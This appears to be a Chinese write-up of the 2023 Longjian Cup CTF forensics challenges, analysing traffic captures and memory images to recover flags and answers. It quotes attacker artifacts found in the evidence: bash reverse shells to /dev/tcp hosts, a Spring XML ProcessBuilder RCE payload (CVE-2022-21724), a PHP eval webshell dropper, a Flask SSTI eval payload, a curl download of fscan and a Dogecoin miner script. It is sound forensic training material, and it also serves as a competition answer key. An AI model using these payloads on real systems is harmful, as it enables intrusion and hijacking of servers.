DIDCTF-2023陇剑杯
数据分析-HW
hard_web_1
这一题让判断开放了那些端口,这需要根据tcp‘三次握手’中的‘第二次握手’,由服务端向客户端返回的数据包。查看哪些服务器向客户端这个设备返回了连接确认(SYN+ACK),从而判断在客户端最近发起的连接中,哪些服务器的端口是开放的(因为只有开放端口才会返回 SYN+ACK)。
命令为
tcp.connection.synsck
可以看到这里绝大多数的目标ip为192.168.162.188,那这个应该就是客户端,所以开放了80,888,8888,那个443的目标ip并不是192.168.162.188,所以不选。
hard_web_2
接下来过滤http流量,第一条就发现了可以文件shell.jsp,导出文件看一下
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>一句话木马</title></head><body><pre>/www/wwwroot/test.com/shell.jsp</pre></body></html>
上传了后文文件,追踪流看看
发现了一个key,这就是webshell流量,那肯定是解密流量得到flag了,继续往下看
在tcp流20049中确认为哥斯拉流量,
cookie带分号,有key,就可以解密了
一直在20053流发现flag,
flag{9236b29d-5488-41e6-a04b-53b0d8276542}
hard_web_3
密码就是第二问的key,md5解密一下就行
14mk3y
数据分析-SS
sevrer save_1
首先分组统计一下
就3个POST请求,追踪流看一下,由于能力尚浅让ai分析一下
CVE-2022-22965
sevrer save_2
那个叫helloword的文件夹一看就不对劲,果然有,bbbb.sh
/bin/sh -i >& /dev/tcp/192.168.43.128/2333 0>&1
192.168.43.128:2333
sevrer save_3
这是真没找到,看wp在/home/guest/main这个文件是病毒文件
main
sevrer save_4
在etc文件夹里面找,用户名在passwd文件,密码在shadow文件,用户名为ll,密码为123456,答案是
ll:123456
sevrer save_5
在.log.txt文件
sevrer save_6
日志最后一条记录了黑客挖矿失败,mine_doge.sh很可疑,
应该是这两个lolMiner,mine_doge.sh
sevrer save_7
mine_doge.sh(狗狗币挖矿脚本)文件内容
#!/bin/bash#################################
## Begin of user-editable part ##
#################################POOL=doge.millpools.cc:5567
WALLET=DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker#################################
## End of user-editable part ##
#################################cd "$(dirname "$0")"./lolMiner --algo ETHASH --pool $POOL --user $WALLET $@ --4g-alloc-size 4024 --keepfree 8
while [ $? -eq 42 ]; dosleep 10s./lolMiner --algo ETHASH --pool $POOL --user $WALLET $@ --4g-alloc-size 4024 --keepfree 8
done
地址doge.millpools.cc:5567
sevrer save_8
还是在狗狗币挖矿脚本中
DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker
数据分析-WS
Wireshark1_1
在统计->会话中分析,从192.168.246.8到192.168.246.28,所以被入侵的主机ip是192.168.246.28
Wireshark1_2
在tcp流0有密码
youcannevergetthis
Wireshark1_3
如图,第二个是Downloads
Wireshark1_4
如图,倒数第二个是mysql
最后说明一下在这个平台下载的附件,本题的流量包在wd.zip中
数据分析-SSW
SmallSword_1
过滤http流量往下翻翻直接看到了
6ea280898e404bfabd0ebb702327b18f
这个答案不对,继续往下看在tcp流96发现
6ea280898e404bfabd0ebb702327b19f,一眼蚁剑,这个才是蚁剑连接密码
SmallSword_2
这蚁剑流量比较好解密,直接让ai分析就行了,在tcp流142
ad6269b7-3ce2-4ae8-b97f-f259515e7a91
SmallSword_3
这一问就跟着wp复现了,在导出文件中有一个php文件非常可以,非常大,导出后发现是乱码,那就对味了,证明他不是PHP文件,010打开,编辑为16进制
还是学识尚浅,没了解过exe文件头。这里文件头被修改过,具体参考文章
EXE与COM文件结构详解-CSDN博客
把2d3d7c删了把后缀改为.exe运行得到图片,随波逐流打开,修改高度得到flag
flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}
数据分析-EW
ez_web_1
都后门文件了,肯定的看看post请求,
ViewMore.php很可疑,就是它
ez_web_2
接上一问,流量包中还有
a=file_put_contents%28%27d00r.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%27%29%29%3B
a=file_put_contents('d00r.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==')); (<?php eval($_POST['cmd']);?>)
讲一句话木马写进了d00r.php文件中,然后在tcp流10098执行了ipconfig命令
IP为192.168.101.132
ez_web_3
还执行了
cmd=file_put_contents%28%27k3y_f1le%27%2C+base64_decode%28%27UEsDBBQAAQAAANgDvlTRoSUSMAAAACQAAAAHAAAAa2V5LnR4dGYJZVtgRzdJtOnW1ycl%2FO%2FAJ0rmzwNXxqbCRUq2LQid0gO2yXaPBcc9baLIAwnQ71BLAQI%2FABQAAQAAANgDvlTRoSUSMAAAACQAAAAHACQAAAAAAAAAIAAAAAAAAABrZXkudHh0CgAgAAAAAAABABgAOg7Zcnlz2AE6DtlyeXPYAfldXhh5c9gBUEsFBgAAAAABAAEAWQAAAFUAAAAAAA%3D%3D%27%29%29%3B
cmd=file_put_contents('k3y_f1le', base64_decode('UEsDBBQAAQAAANgDvlTRoSUSMAAAACQAAAAHAAAAa2V5LnR4dGYJZVtgRzdJtOnW1ycl/O/AJ0rmzwNXxqbCRUq2LQid0gO2yXaPBcc9baLIAwnQ71BLAQI/ABQAAQAAANgDvlTRoSUSMAAAACQAAAAHACQAAAAAAAAAIAAAAAAAAABrZXkudHh0CgAgAAAAAAABABgAOg7Zcnlz2AE6DtlyeXPYAfldXhh5c9gBUEsFBgAAAAABAAEAWQAAAFUAAAAAAA=='));
使用在线工具
在线Base64转文件工具 - 在线工具网
获得压缩包
密码在流量包中7e03864b0db7e6f9
解压得到7d9ddff2-2d67-4eba-9e48-b91c26c42337
数据分析-BF
baby_forensics_1
给了raw文件,直接导入lovelymem分析一波,列出文件后,搜索key,发现key.txt文件,
有点抽象啊,
随波逐流分析出答案
thekeyis2e80307085fd2b5c49c968c323ee25d5。
或者使用R-STUDIO直接分析
同样能找到key.txt文件
baby_forensics_2
这一题我不会啊,跟着wp复现一下,就具体参考2023第二届陇剑杯网络安全大赛 预选赛Writeup_第二届“陇剑杯”网络安全大赛线上赛write up2023、-CSDN博客
题目说电脑正在运行的,先看一下进程,
calc.exe内存转储存得到dmp文件,然后把后缀改为data文件,然后用GIMP打开,在不断调试得到答案,这里放大佬调试后的
那我调试的就是一坨啊,没调试出来,又是膜拜大佬的一天
还有一种方法windows窗口信息,这是Volatility2的插件,不是volatility3的,使用后搜calc.exe,找这个答案有点费眼
7598632541
baby_forensics_3
这一题又学到新知识了,依旧复现,StikyNot.exe
是 Windows 操作系统中便签(Sticky Notes)应用程序的可执行文件,.snt文件与这个便签程序有关,直接搜相关文件,感觉我被做局了,打开就是乱码啊,贴张大佬的图
然后在C:/Users/admin/Music找到密码
只能说大佬太强了,然后aes解密得到flag
flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}
数据分析-TP
tcpdump_1
这里题目说到爆破登入,过滤post请求流量,看了好多,初步推测用户名为TMjpxFGQwD,黑客在尝试破解密码,看了好多也没找到,这里是根据返回的错误信息推测
"errCode":300是返回的错误信息,推测登入成功的为"errCode":200,而且url包含'/login',命令如下:
http.request.uri=="/login",然后搜索"errCode":200
tcpdump_2
题目说软件存在越权漏洞,直接看跟软件有关的流量,在tcp流1586中直接让ai分析一波
这里一共就俩,一个一个试就行了
accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1
accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=2
import hashlibcookie = "accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1"
md5 = hashlib.md5(cookie.encode('utf-8')).hexdigest()
print(md5)
383c74db4e32513daaa1eeb1726d7255
tcpdump_3
题目说了数据库,直接看相关流量就行了,有关键字db,直接tcp追踪流看一下,JDBC 是 Java 访问数据库的 “接口规范”,其底层与数据库的通信依赖 数据库原生 TCP 协议,如果http追流是看不到内容的,不符合http协议内容格式
在tcp1601得到答案
username: zyplayer
password: 1234567
zyplayer:1234567
tcpdump_4
这个之前就看到了,
浏览器直接搜就行了
文件名在流量包中也有
{"errCode":300,"errMsg":"尝试获取该数据源连接失败:jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://116.62.63.234:9988/custom.dtd.xml"}
就是/custom.dtd.xml
CVE-2022-21724:custom.dtd.xml
tcpdump_5
书接上文,继续往下看有custom.dtd.xml的内容
GET /custom.dtd.xml HTTP/1.1 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_212 Host: 116.62.63.234:9988 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive 0.019742s HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.8.10 Date: Sun, 30 Jul 2023 13:52:54 GMT Content-type: application/xml Content-Length: 601 Last-Modified: Sun, 09 Jul 2023 13:46:36 GMT <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <array> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/116.62.63.234/9999 0>&1]]></value> </array> </constructor-arg> <property name="whatever" value="#{ pb.start() }"/> </bean> </beans>
用于触发rce,后面的就是rce的过程,在tcp1611执行了
curl https://github.com/shadow1ng/fscan/releases/download/1.8.2/fscan_amd64 -o /tmp/mysql_bakup
<ases/download/1.8.2/fscan_amd64 -o /tmp/mysql_bakup
fscan就是端口/漏洞扫描工具
数据分析-HD
hacked_1
既然提到了密码,首先想到登录,注册,过滤post流量果然是,不过这应该是解密过的,直接解码是解不出来的,然后又找到了源代码
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Register</title><link rel="stylesheet" href="/static/css/login.css"><script src="/static/js/aes_1.js"></script><script src="/static/js/jquery-3.2.0.min.js"></script><script language="javascript"> crypt_key = 'l36DoqKUYQP0N7e1';crypt_iv = '131b0c8a7a6e072e';var key = CryptoJS.enc.Utf8.parse(crypt_key); var iv = CryptoJS.enc.Utf8.parse(crypt_iv); function Encrypt(word){srcs = CryptoJS.enc.Utf8.parse(word);var encrypted = CryptoJS.AES.encrypt(srcs, key, { iv: iv,mode:CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7});return encrypted.toString();}function print(){var a = Encrypt(myform.username.value);var b = Encrypt(myform.password.value);$.post({url:"/register",data:'post',dataType:'application/x-www-form-urlencoded',data:"username="+a+"&password="+b,success:function(data) {alert(data)if(data == 'aaa') {alert("登录成功")window.location.href="/index";} else {alert("登录失败")}}})} </script>
</head>
<body>
<div class="box"><h2>Register</h2><form name="myform"/><div class="inputbox"><input type="text" name="username" required=""><label>Username</label></div><div class="inputbox"><input type="password" name="password" required=""><label>Password</label></div><input type="button" name="" value="submit" onclick="print()" /></form>
</div>
</body>
</html>
流量包中的数据是先经过aes加密后base64编码后的,给出了密钥和初始向量就可以解密,在tcp56找到账号密码
hacked_2
直接搜 tcp contiaons "SECRET_KEY"
hacked_3
在 Flask 应用中,Cookie与SECRET_KEY密切相关,有SECRET_KEY就直接解密就行,在tcp流76找到cookie,解密即可
python flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4"
red
hacked_4
按照上述方法,一个一个解密就行了,在tcp流81解密找到答案
{'username': '{{url_for.__globals__[\'__builtins__\'][\'eval\']("app.add_url_rule(\'/Index\', \'Index\', lambda :\'Hello! 123\')",{\'_request_ctx_stack\':url_for.__globals__[\'_request_ctx_stack\'],\'app\':url_for.__globals__[\'current_app\']})}}'}
数据分析-IR
这一部分的题带我先沉淀沉淀再写😎